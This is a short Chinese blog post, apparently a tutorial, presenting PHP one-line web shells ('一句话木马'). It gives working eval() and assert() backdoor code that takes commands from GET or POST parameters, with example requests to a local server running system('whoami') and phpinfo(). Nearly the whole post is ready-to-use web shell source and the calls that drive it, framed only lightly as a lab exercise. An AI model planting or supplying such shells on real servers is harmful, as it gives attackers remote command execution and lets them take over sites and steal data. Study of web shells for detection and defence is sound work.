PHP一句话木马

合集 - php(1)

1.PHP一句话木马01-08

收起

环境：phpstudy_pro

eval()函数

命令执行脚本：

//hacker.php
<?php
eval($_GET["cmd"]);
?>

浏览器访问：http://127.0.0.1/hacker.php?cmd=system('whoami');

传入的参数必须为PHP代码，既需要以分号结尾。
命令執行：cmd=system(whoami);

post方式：

<?php @eval($_POST['cmd']);?>

assert()函数

命令执行脚本：

//assert.php
<?php
@assert($_GET['cmd']);
?>

浏览器访问：http://127.0.0.1/assert.php?cmd=system("whoami")

assert函数是直接将传入的参数当成PHP代码直接，不需要以分号结尾，当然你加上也可以。
命令執行：cmd=system(whoami)

获取phpinfo信息：

<?php
//hacker.php
eval($_GET["cmd"]);
?>

浏览器访问：http://127.0.0.1/hacker.php?cmd=phpinfo();

// phpinfo.php
<?php
phpinfo()
?>

浏览器访问：http://127.0.0.1/phpinfo.php

参考：https://www.cnblogs.com/bugxf/p/16015227.html